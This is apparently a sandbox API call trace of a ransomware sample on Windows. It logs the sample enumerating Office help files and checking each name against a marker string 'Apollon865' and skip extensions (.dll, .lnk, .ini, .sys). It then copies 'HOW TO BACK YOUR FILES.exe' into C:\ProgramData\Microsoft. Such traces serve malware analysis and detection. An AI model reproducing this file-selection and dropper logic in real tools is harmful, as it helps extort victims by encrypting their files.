	[0050.691] lstrcmpiW (lpString1="MS.EXCEL.DEV.14.1033.hxn", lpString2=".lnk") returned 1
	[0050.691] lstrlenW (lpString=".ini") returned 4
	[0050.691] lstrcmpiW (lpString1="MS.EXCEL.DEV.14.1033.hxn", lpString2=".ini") returned 1
	[0050.691] lstrlenW (lpString=".sys") returned 4
	[0050.691] lstrcmpiW (lpString1="MS.EXCEL.DEV.14.1033.hxn", lpString2=".sys") returned 1
	[0050.691] lstrlenW (lpString="MS.EXCEL.DEV.14.1033.hxn") returned 24
	[0050.691] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="MS.GRAPH.14.1033.hxn" | out: lpString1="MS.GRAPH.14.1033.hxn") returned="MS.GRAPH.14.1033.hxn"
	[0050.691] lstrlenW (lpString="MS.GRAPH.14.1033.hxn") returned 20
	[0050.691] lstrlenW (lpString="Apollon865") returned 10
	[0050.691] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0050.691] lstrlenW (lpString=".dll") returned 4
	[0050.691] lstrcmpiW (lpString1="MS.GRAPH.14.1033.hxn", lpString2=".dll") returned 1
	[0050.691] lstrlenW (lpString=".lnk") returned 4
	[0050.691] lstrcmpiW (lpString1="MS.GRAPH.14.1033.hxn", lpString2=".lnk") returned 1
	[0050.691] lstrlenW (lpString=".ini") returned 4
	[0050.691] lstrcmpiW (lpString1="MS.GRAPH.14.1033.hxn", lpString2=".ini") returned 1
	[0050.691] lstrlenW (lpString=".sys") returned 4
	[0050.691] lstrcmpiW (lpString1="MS.GRAPH.14.1033.hxn", lpString2=".sys") returned 1
	[0050.691] lstrlenW (lpString="MS.GRAPH.14.1033.hxn") returned 20
	[0050.691] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="MS.GROOVE.14.1033.hxn" | out: lpString1="MS.GROOVE.14.1033.hxn") returned="MS.GROOVE.14.1033.hxn"
	[0050.692] lstrlenW (lpString="MS.GROOVE.14.1033.hxn") returned 21
	[0050.692] lstrlenW (lpString="Apollon865") returned 10
	[0050.692] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0050.692] lstrlenW (lpString=".dll") returned 4
	[0050.692] lstrcmpiW (lpString1="MS.GROOVE.14.1033.hxn", lpString2=".dll") returned 1
	[0050.692] lstrlenW (lpString=".lnk") returned 4
	[0050.692] lstrcmpiW (lpString1="MS.GROOVE.14.1033.hxn", lpString2=".lnk") returned 1
	[0050.692] lstrlenW (lpString=".ini") returned 4
	[0050.692] lstrcmpiW (lpString1="MS.GROOVE.14.1033.hxn", lpString2=".ini") returned 1
	[0050.692] lstrlenW (lpString=".sys") returned 4
	[0050.692] lstrcmpiW (lpString1="MS.GROOVE.14.1033.hxn", lpString2=".sys") returned 1
	[0050.692] lstrlenW (lpString="MS.GROOVE.14.1033.hxn") returned 21
	[0050.692] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="MS.INFOPATH.14.1033.hxn" | out: lpString1="MS.INFOPATH.14.1033.hxn") returned="MS.INFOPATH.14.1033.hxn"
	[0050.692] lstrlenW (lpString="MS.INFOPATH.14.1033.hxn") returned 23
	[0050.692] lstrlenW (lpString="Apollon865") returned 10
	[0050.692] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0050.692] lstrlenW (lpString=".dll") returned 4
	[0050.692] lstrcmpiW (lpString1="MS.INFOPATH.14.1033.hxn", lpString2=".dll") returned 1
	[0050.692] lstrlenW (lpString=".lnk") returned 4
	[0050.692] lstrcmpiW (lpString1="MS.INFOPATH.14.1033.hxn", lpString2=".lnk") returned 1
	[0050.692] lstrlenW (lpString=".ini") returned 4
	[0050.692] lstrcmpiW (lpString1="MS.INFOPATH.14.1033.hxn", lpString2=".ini") returned 1
	[0050.692] lstrlenW (lpString=".sys") returned 4
	[0050.692] lstrcmpiW (lpString1="MS.INFOPATH.14.1033.hxn", lpString2=".sys") returned 1
	[0050.692] lstrlenW (lpString="MS.INFOPATH.14.1033.hxn") returned 23
	[0050.692] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="MS.INFOPATHEDITOR.14.1033.hxn" | out: lpString1="MS.INFOPATHEDITOR.14.1033.hxn") returned="MS.INFOPATHEDITOR.14.1033.hxn"
	[0050.692] lstrlenW (lpString="MS.INFOPATHEDITOR.14.1033.hxn") returned 29
	[0050.692] lstrlenW (lpString="Apollon865") returned 10
	[0050.692] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0050.692] lstrlenW (lpString=".dll") returned 4
	[0050.692] lstrcmpiW (lpString1="MS.INFOPATHEDITOR.14.1033.hxn", lpString2=".dll") returned 1
	[0050.693] lstrlenW (lpString=".lnk") returned 4
	[0050.693] lstrcmpiW (lpString1="MS.INFOPATHEDITOR.14.1033.hxn", lpString2=".lnk") returned 1
	[0050.693] lstrlenW (lpString=".ini") returned 4
	[0050.693] lstrcmpiW (lpString1="MS.INFOPATHEDITOR.14.1033.hxn", lpString2=".ini") returned 1
	[0050.693] lstrlenW (lpString=".sys") returned 4
	[0050.693] lstrcmpiW (lpString1="MS.INFOPATHEDITOR.14.1033.hxn", lpString2=".sys") returned 1
	[0050.693] lstrlenW (lpString="MS.INFOPATHEDITOR.14.1033.hxn") returned 29
	[0050.693] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="MS.MSACCESS.14.1033.hxn" | out: lpString1="MS.MSACCESS.14.1033.hxn") returned="MS.MSACCESS.14.1033.hxn"
	[0050.693] lstrlenW (lpString="MS.MSACCESS.14.1033.hxn") returned 23
	[0050.693] lstrlenW (lpString="Apollon865") returned 10
	[0050.693] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0050.693] lstrlenW (lpString=".dll") returned 4
	[0050.693] lstrcmpiW (lpString1="MS.MSACCESS.14.1033.hxn", lpString2=".dll") returned 1
	[0050.693] lstrlenW (lpString=".lnk") returned 4
	[0050.693] lstrcmpiW (lpString1="MS.MSACCESS.14.1033.hxn", lpString2=".lnk") returned 1
	[0050.693] lstrlenW (lpString=".ini") returned 4
	[0050.693] lstrcmpiW (lpString1="MS.MSACCESS.14.1033.hxn", lpString2=".ini") returned 1
	[0050.693] lstrlenW (lpString=".sys") returned 4
	[0050.693] lstrcmpiW (lpString1="MS.MSACCESS.14.1033.hxn", lpString2=".sys") returned 1
	[0050.693] lstrlenW (lpString="MS.MSACCESS.14.1033.hxn") returned 23
	[0050.693] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="MS.MSACCESS.DEV.14.1033.hxn" | out: lpString1="MS.MSACCESS.DEV.14.1033.hxn") returned="MS.MSACCESS.DEV.14.1033.hxn"
	[0050.693] lstrlenW (lpString="MS.MSACCESS.DEV.14.1033.hxn") returned 27
	[0050.693] lstrlenW (lpString="Apollon865") returned 10
	[0050.693] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0050.693] lstrlenW (lpString=".dll") returned 4
	[0050.693] lstrcmpiW (lpString1="MS.MSACCESS.DEV.14.1033.hxn", lpString2=".dll") returned 1
	[0050.693] lstrlenW (lpString=".lnk") returned 4
	[0050.693] lstrcmpiW (lpString1="MS.MSACCESS.DEV.14.1033.hxn", lpString2=".lnk") returned 1
	[0050.693] lstrlenW (lpString=".ini") returned 4
	[0050.693] lstrcmpiW (lpString1="MS.MSACCESS.DEV.14.1033.hxn", lpString2=".ini") returned 1
	[0050.694] lstrlenW (lpString=".sys") returned 4
	[0050.694] lstrcmpiW (lpString1="MS.MSACCESS.DEV.14.1033.hxn", lpString2=".sys") returned 1
	[0050.694] lstrlenW (lpString="MS.MSACCESS.DEV.14.1033.hxn") returned 27
	[0050.694] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="MS.MSOUC.14.1033.hxn" | out: lpString1="MS.MSOUC.14.1033.hxn") returned="MS.MSOUC.14.1033.hxn"
	[0050.694] lstrlenW (lpString="MS.MSOUC.14.1033.hxn") returned 20
	[0050.694] lstrlenW (lpString="Apollon865") returned 10
	[0050.694] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0050.694] lstrlenW (lpString=".dll") returned 4
	[0050.694] lstrcmpiW (lpString1="MS.MSOUC.14.1033.hxn", lpString2=".dll") returned 1
	[0050.694] lstrlenW (lpString=".lnk") returned 4
	[0050.694] lstrcmpiW (lpString1="MS.MSOUC.14.1033.hxn", lpString2=".lnk") returned 1
	[0050.694] lstrlenW (lpString=".ini") returned 4
	[0050.694] lstrcmpiW (lpString1="MS.MSOUC.14.1033.hxn", lpString2=".ini") returned 1
	[0050.694] lstrlenW (lpString=".sys") returned 4
	[0050.694] lstrcmpiW (lpString1="MS.MSOUC.14.1033.hxn", lpString2=".sys") returned 1
	[0050.694] lstrlenW (lpString="MS.MSOUC.14.1033.hxn") returned 20
	[0050.694] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="MS.MSPUB.14.1033.hxn" | out: lpString1="MS.MSPUB.14.1033.hxn") returned="MS.MSPUB.14.1033.hxn"
	[0050.694] lstrlenW (lpString="MS.MSPUB.14.1033.hxn") returned 20
	[0050.694] lstrlenW (lpString="Apollon865") returned 10
	[0050.694] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0050.694] lstrlenW (lpString=".dll") returned 4
	[0050.694] lstrcmpiW (lpString1="MS.MSPUB.14.1033.hxn", lpString2=".dll") returned 1
	[0050.694] lstrlenW (lpString=".lnk") returned 4
	[0050.694] lstrcmpiW (lpString1="MS.MSPUB.14.1033.hxn", lpString2=".lnk") returned 1
	[0050.694] lstrlenW (lpString=".ini") returned 4
	[0050.694] lstrcmpiW (lpString1="MS.MSPUB.14.1033.hxn", lpString2=".ini") returned 1
	[0050.694] lstrlenW (lpString=".sys") returned 4
	[0050.694] lstrcmpiW (lpString1="MS.MSPUB.14.1033.hxn", lpString2=".sys") returned 1
	[0050.694] lstrlenW (lpString="MS.MSPUB.14.1033.hxn") returned 20
	[0050.694] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="MS.MSPUB.DEV.14.1033.hxn" | out: lpString1="MS.MSPUB.DEV.14.1033.hxn") returned="MS.MSPUB.DEV.14.1033.hxn"
	[0050.695] lstrlenW (lpString="MS.MSPUB.DEV.14.1033.hxn") returned 24
	[0050.695] lstrlenW (lpString="Apollon865") returned 10
	[0050.695] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0050.695] lstrlenW (lpString=".dll") returned 4
	[0050.695] lstrcmpiW (lpString1="MS.MSPUB.DEV.14.1033.hxn", lpString2=".dll") returned 1
	[0050.695] lstrlenW (lpString=".lnk") returned 4
	[0050.695] lstrcmpiW (lpString1="MS.MSPUB.DEV.14.1033.hxn", lpString2=".lnk") returned 1
	[0050.695] lstrlenW (lpString=".ini") returned 4
	[0050.695] lstrcmpiW (lpString1="MS.MSPUB.DEV.14.1033.hxn", lpString2=".ini") returned 1
	[0050.695] lstrlenW (lpString=".sys") returned 4
	[0050.695] lstrcmpiW (lpString1="MS.MSPUB.DEV.14.1033.hxn", lpString2=".sys") returned 1
	[0050.695] lstrlenW (lpString="MS.MSPUB.DEV.14.1033.hxn") returned 24
	[0050.695] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="MS.MSTORE.14.1033.hxn" | out: lpString1="MS.MSTORE.14.1033.hxn") returned="MS.MSTORE.14.1033.hxn"
	[0050.695] lstrlenW (lpString="MS.MSTORE.14.1033.hxn") returned 21
	[0050.695] lstrlenW (lpString="Apollon865") returned 10
	[0050.695] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0050.695] lstrlenW (lpString=".dll") returned 4
	[0050.695] lstrcmpiW (lpString1="MS.MSTORE.14.1033.hxn", lpString2=".dll") returned 1
	[0050.695] lstrlenW (lpString=".lnk") returned 4
	[0050.695] lstrcmpiW (lpString1="MS.MSTORE.14.1033.hxn", lpString2=".lnk") returned 1
	[0050.695] lstrlenW (lpString=".ini") returned 4
	[0050.695] lstrcmpiW (lpString1="MS.MSTORE.14.1033.hxn", lpString2=".ini") returned 1
	[0050.695] lstrlenW (lpString=".sys") returned 4
	[0050.695] lstrcmpiW (lpString1="MS.MSTORE.14.1033.hxn", lpString2=".sys") returned 1
	[0050.695] lstrlenW (lpString="MS.MSTORE.14.1033.hxn") returned 21
	[0050.695] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="MS.OIS.14.1033.hxn" | out: lpString1="MS.OIS.14.1033.hxn") returned="MS.OIS.14.1033.hxn"
	[0050.695] lstrlenW (lpString="MS.OIS.14.1033.hxn") returned 18
	[0050.695] lstrlenW (lpString="Apollon865") returned 10
	[0050.695] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0050.695] lstrlenW (lpString=".dll") returned 4
	[0050.695] lstrcmpiW (lpString1="MS.OIS.14.1033.hxn", lpString2=".dll") returned 1
	[0050.696] lstrlenW (lpString=".lnk") returned 4
	[0050.696] lstrcmpiW (lpString1="MS.OIS.14.1033.hxn", lpString2=".lnk") returned 1
	[0050.696] lstrlenW (lpString=".ini") returned 4
	[0050.696] lstrcmpiW (lpString1="MS.OIS.14.1033.hxn", lpString2=".ini") returned 1
	[0050.696] lstrlenW (lpString=".sys") returned 4
	[0050.696] lstrcmpiW (lpString1="MS.OIS.14.1033.hxn", lpString2=".sys") returned 1
	[0050.696] lstrlenW (lpString="MS.OIS.14.1033.hxn") returned 18
	[0050.696] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="MS.ONENOTE.14.1033.hxn" | out: lpString1="MS.ONENOTE.14.1033.hxn") returned="MS.ONENOTE.14.1033.hxn"
	[0050.696] lstrlenW (lpString="MS.ONENOTE.14.1033.hxn") returned 22
	[0050.696] lstrlenW (lpString="Apollon865") returned 10
	[0050.696] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0050.696] lstrlenW (lpString=".dll") returned 4
	[0050.696] lstrcmpiW (lpString1="MS.ONENOTE.14.1033.hxn", lpString2=".dll") returned 1
	[0050.696] lstrlenW (lpString=".lnk") returned 4
	[0050.696] lstrcmpiW (lpString1="MS.ONENOTE.14.1033.hxn", lpString2=".lnk") returned 1
	[0050.696] lstrlenW (lpString=".ini") returned 4
	[0050.696] lstrcmpiW (lpString1="MS.ONENOTE.14.1033.hxn", lpString2=".ini") returned 1
	[0050.696] lstrlenW (lpString=".sys") returned 4
	[0050.696] lstrcmpiW (lpString1="MS.ONENOTE.14.1033.hxn", lpString2=".sys") returned 1
	[0050.696] lstrlenW (lpString="MS.ONENOTE.14.1033.hxn") returned 22
	[0050.696] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="MS.OUTLOOK.14.1033.hxn" | out: lpString1="MS.OUTLOOK.14.1033.hxn") returned="MS.OUTLOOK.14.1033.hxn"
	[0050.696] lstrlenW (lpString="MS.OUTLOOK.14.1033.hxn") returned 22
	[0050.696] lstrlenW (lpString="Apollon865") returned 10
	[0050.696] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0050.696] lstrlenW (lpString=".dll") returned 4
	[0050.696] lstrcmpiW (lpString1="MS.OUTLOOK.14.1033.hxn", lpString2=".dll") returned 1
	[0050.696] lstrlenW (lpString=".lnk") returned 4
	[0050.696] lstrcmpiW (lpString1="MS.OUTLOOK.14.1033.hxn", lpString2=".lnk") returned 1
	[0050.696] lstrlenW (lpString=".ini") returned 4
	[0050.696] lstrcmpiW (lpString1="MS.OUTLOOK.14.1033.hxn", lpString2=".ini") returned 1
	[0050.696] lstrlenW (lpString=".sys") returned 4
	[0050.697] lstrcmpiW (lpString1="MS.OUTLOOK.14.1033.hxn", lpString2=".sys") returned 1
	[0050.697] lstrlenW (lpString="MS.OUTLOOK.14.1033.hxn") returned 22
	[0050.697] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="MS.OUTLOOK.DEV.14.1033.hxn" | out: lpString1="MS.OUTLOOK.DEV.14.1033.hxn") returned="MS.OUTLOOK.DEV.14.1033.hxn"
	[0050.697] lstrlenW (lpString="MS.OUTLOOK.DEV.14.1033.hxn") returned 26
	[0050.697] lstrlenW (lpString="Apollon865") returned 10
	[0050.697] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0050.697] lstrlenW (lpString=".dll") returned 4
	[0050.697] lstrcmpiW (lpString1="MS.OUTLOOK.DEV.14.1033.hxn", lpString2=".dll") returned 1
	[0050.697] lstrlenW (lpString=".lnk") returned 4
	[0050.697] lstrcmpiW (lpString1="MS.OUTLOOK.DEV.14.1033.hxn", lpString2=".lnk") returned 1
	[0050.697] lstrlenW (lpString=".ini") returned 4
	[0050.697] lstrcmpiW (lpString1="MS.OUTLOOK.DEV.14.1033.hxn", lpString2=".ini") returned 1
	[0050.697] lstrlenW (lpString=".sys") returned 4
	[0050.697] lstrcmpiW (lpString1="MS.OUTLOOK.DEV.14.1033.hxn", lpString2=".sys") returned 1
	[0050.697] lstrlenW (lpString="MS.OUTLOOK.DEV.14.1033.hxn") returned 26
	[0050.697] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="MS.POWERPNT.14.1033.hxn" | out: lpString1="MS.POWERPNT.14.1033.hxn") returned="MS.POWERPNT.14.1033.hxn"
	[0050.697] lstrlenW (lpString="MS.POWERPNT.14.1033.hxn") returned 23
	[0050.697] lstrlenW (lpString="Apollon865") returned 10
	[0050.697] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0050.697] lstrlenW (lpString=".dll") returned 4
	[0050.697] lstrcmpiW (lpString1="MS.POWERPNT.14.1033.hxn", lpString2=".dll") returned 1
	[0050.697] lstrlenW (lpString=".lnk") returned 4
	[0050.697] lstrcmpiW (lpString1="MS.POWERPNT.14.1033.hxn", lpString2=".lnk") returned 1
	[0050.697] lstrlenW (lpString=".ini") returned 4
	[0050.697] lstrcmpiW (lpString1="MS.POWERPNT.14.1033.hxn", lpString2=".ini") returned 1
	[0050.697] lstrlenW (lpString=".sys") returned 4
	[0050.697] lstrcmpiW (lpString1="MS.POWERPNT.14.1033.hxn", lpString2=".sys") returned 1
	[0050.697] lstrlenW (lpString="MS.POWERPNT.14.1033.hxn") returned 23
	[0050.697] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="MS.POWERPNT.DEV.14.1033.hxn" | out: lpString1="MS.POWERPNT.DEV.14.1033.hxn") returned="MS.POWERPNT.DEV.14.1033.hxn"
	[0050.698] lstrlenW (lpString="MS.POWERPNT.DEV.14.1033.hxn") returned 27
	[0050.698] lstrlenW (lpString="Apollon865") returned 10
	[0050.698] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0050.698] lstrlenW (lpString=".dll") returned 4
	[0050.698] lstrcmpiW (lpString1="MS.POWERPNT.DEV.14.1033.hxn", lpString2=".dll") returned 1
	[0050.698] lstrlenW (lpString=".lnk") returned 4
	[0050.698] lstrcmpiW (lpString1="MS.POWERPNT.DEV.14.1033.hxn", lpString2=".lnk") returned 1
	[0050.698] lstrlenW (lpString=".ini") returned 4
	[0050.698] lstrcmpiW (lpString1="MS.POWERPNT.DEV.14.1033.hxn", lpString2=".ini") returned 1
	[0050.698] lstrlenW (lpString=".sys") returned 4
	[0050.698] lstrcmpiW (lpString1="MS.POWERPNT.DEV.14.1033.hxn", lpString2=".sys") returned 1
	[0050.698] lstrlenW (lpString="MS.POWERPNT.DEV.14.1033.hxn") returned 27
	[0050.698] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="MS.SETLANG.14.1033.hxn" | out: lpString1="MS.SETLANG.14.1033.hxn") returned="MS.SETLANG.14.1033.hxn"
	[0050.698] lstrlenW (lpString="MS.SETLANG.14.1033.hxn") returned 22
	[0050.698] lstrlenW (lpString="Apollon865") returned 10
	[0050.698] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0050.698] lstrlenW (lpString=".dll") returned 4
	[0050.698] lstrcmpiW (lpString1="MS.SETLANG.14.1033.hxn", lpString2=".dll") returned 1
	[0050.698] lstrlenW (lpString=".lnk") returned 4
	[0050.698] lstrcmpiW (lpString1="MS.SETLANG.14.1033.hxn", lpString2=".lnk") returned 1
	[0050.698] lstrlenW (lpString=".ini") returned 4
	[0050.698] lstrcmpiW (lpString1="MS.SETLANG.14.1033.hxn", lpString2=".ini") returned 1
	[0050.698] lstrlenW (lpString=".sys") returned 4
	[0050.698] lstrcmpiW (lpString1="MS.SETLANG.14.1033.hxn", lpString2=".sys") returned 1
	[0050.698] lstrlenW (lpString="MS.SETLANG.14.1033.hxn") returned 22
	[0050.698] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="MS.VISIO.14.1033.hxn" | out: lpString1="MS.VISIO.14.1033.hxn") returned="MS.VISIO.14.1033.hxn"
	[0050.698] lstrlenW (lpString="MS.VISIO.14.1033.hxn") returned 20
	[0050.698] lstrlenW (lpString="Apollon865") returned 10
	[0050.698] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0050.698] lstrlenW (lpString=".dll") returned 4
	[0050.699] lstrcmpiW (lpString1="MS.VISIO.14.1033.hxn", lpString2=".dll") returned 1
	[0050.699] lstrlenW (lpString=".lnk") returned 4
	[0050.699] lstrcmpiW (lpString1="MS.VISIO.14.1033.hxn", lpString2=".lnk") returned 1
	[0050.699] lstrlenW (lpString=".ini") returned 4
	[0050.699] lstrcmpiW (lpString1="MS.VISIO.14.1033.hxn", lpString2=".ini") returned 1
	[0050.699] lstrlenW (lpString=".sys") returned 4
	[0050.699] lstrcmpiW (lpString1="MS.VISIO.14.1033.hxn", lpString2=".sys") returned 1
	[0050.699] lstrlenW (lpString="MS.VISIO.14.1033.hxn") returned 20
	[0050.699] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="MS.VISIO.DEV.14.1033.hxn" | out: lpString1="MS.VISIO.DEV.14.1033.hxn") returned="MS.VISIO.DEV.14.1033.hxn"
	[0050.699] lstrlenW (lpString="MS.VISIO.DEV.14.1033.hxn") returned 24
	[0050.699] lstrlenW (lpString="Apollon865") returned 10
	[0050.699] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0050.699] lstrlenW (lpString=".dll") returned 4
	[0050.699] lstrcmpiW (lpString1="MS.VISIO.DEV.14.1033.hxn", lpString2=".dll") returned 1
	[0050.699] lstrlenW (lpString=".lnk") returned 4
	[0050.699] lstrcmpiW (lpString1="MS.VISIO.DEV.14.1033.hxn", lpString2=".lnk") returned 1
	[0050.699] lstrlenW (lpString=".ini") returned 4
	[0050.699] lstrcmpiW (lpString1="MS.VISIO.DEV.14.1033.hxn", lpString2=".ini") returned 1
	[0050.699] lstrlenW (lpString=".sys") returned 4
	[0050.699] lstrcmpiW (lpString1="MS.VISIO.DEV.14.1033.hxn", lpString2=".sys") returned 1
	[0050.699] lstrlenW (lpString="MS.VISIO.DEV.14.1033.hxn") returned 24
	[0050.699] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="MS.VISIO.SHAPESHEET.14.1033.hxn" | out: lpString1="MS.VISIO.SHAPESHEET.14.1033.hxn") returned="MS.VISIO.SHAPESHEET.14.1033.hxn"
	[0050.699] lstrlenW (lpString="MS.VISIO.SHAPESHEET.14.1033.hxn") returned 31
	[0050.699] lstrlenW (lpString="Apollon865") returned 10
	[0050.699] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0050.699] lstrlenW (lpString=".dll") returned 4
	[0050.699] lstrcmpiW (lpString1="MS.VISIO.SHAPESHEET.14.1033.hxn", lpString2=".dll") returned 1
	[0050.699] lstrlenW (lpString=".lnk") returned 4
	[0050.699] lstrcmpiW (lpString1="MS.VISIO.SHAPESHEET.14.1033.hxn", lpString2=".lnk") returned 1
	[0050.699] lstrlenW (lpString=".ini") returned 4
	[0050.699] lstrcmpiW (lpString1="MS.VISIO.SHAPESHEET.14.1033.hxn", lpString2=".ini") returned 1
	[0050.700] lstrlenW (lpString=".sys") returned 4
	[0050.700] lstrcmpiW (lpString1="MS.VISIO.SHAPESHEET.14.1033.hxn", lpString2=".sys") returned 1
	[0050.700] lstrlenW (lpString="MS.VISIO.SHAPESHEET.14.1033.hxn") returned 31
	[0050.700] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="MS.VISIO_PRM.14.1033.hxn" | out: lpString1="MS.VISIO_PRM.14.1033.hxn") returned="MS.VISIO_PRM.14.1033.hxn"
	[0050.700] lstrlenW (lpString="MS.VISIO_PRM.14.1033.hxn") returned 24
	[0050.700] lstrlenW (lpString="Apollon865") returned 10
	[0050.700] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0050.700] lstrlenW (lpString=".dll") returned 4
	[0050.700] lstrcmpiW (lpString1="MS.VISIO_PRM.14.1033.hxn", lpString2=".dll") returned 1
	[0050.700] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="MS.VISIO_STD.14.1033.hxn" | out: lpString1="MS.VISIO_STD.14.1033.hxn") returned="MS.VISIO_STD.14.1033.hxn"
	[0050.700] lstrlenW (lpString="MS.VISIO_STD.14.1033.hxn") returned 24
	[0050.700] lstrlenW (lpString="Apollon865") returned 10
	[0050.700] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0050.700] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="MS.WINPROJ.14.1033.hxn" | out: lpString1="MS.WINPROJ.14.1033.hxn") returned="MS.WINPROJ.14.1033.hxn"
	[0050.700] lstrlenW (lpString="MS.WINPROJ.14.1033.hxn") returned 22
	[0050.700] lstrlenW (lpString="Apollon865") returned 10
	[0050.700] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0050.700] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="MS.WINPROJ.DEV.14.1033.hxn" | out: lpString1="MS.WINPROJ.DEV.14.1033.hxn") returned="MS.WINPROJ.DEV.14.1033.hxn"
	[0050.700] lstrlenW (lpString="MS.WINPROJ.DEV.14.1033.hxn") returned 26
	[0050.700] lstrlenW (lpString="Apollon865") returned 10
	[0050.700] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0050.700] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="MS.WINWORD.14.1033.hxn" | out: lpString1="MS.WINWORD.14.1033.hxn") returned="MS.WINWORD.14.1033.hxn"
	[0050.701] lstrlenW (lpString="MS.WINWORD.14.1033.hxn") returned 22
	[0050.701] lstrlenW (lpString="Apollon865") returned 10
	[0050.701] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0050.701] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="MS.WINWORD.DEV.14.1033.hxn" | out: lpString1="MS.WINWORD.DEV.14.1033.hxn") returned="MS.WINWORD.DEV.14.1033.hxn"
	[0050.701] lstrlenW (lpString="MS.WINWORD.DEV.14.1033.hxn") returned 26
	[0050.701] lstrlenW (lpString="Apollon865") returned 10
	[0050.701] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0050.701] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="nslist.hxl" | out: lpString1="nslist.hxl") returned="nslist.hxl"
	[0050.701] lstrlenW (lpString="nslist.hxl") returned 10
	[0050.701] lstrlenW (lpString="Apollon865") returned 10
	[0050.701] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0050.701] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca4d0 | out: hHeap=0x580000) returned 1
	[0050.701] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0050.701] lstrlenW (lpString="C:\\ProgramData\\Microsoft") returned 24
	[0050.701] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft" | out: lpString1="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0050.701] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.701] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.702] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.702] GetLastError () returned 0x0
	[0050.702] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.702] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.702] CloseHandle (hObject=0x15c) returned 1
	[0050.702] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
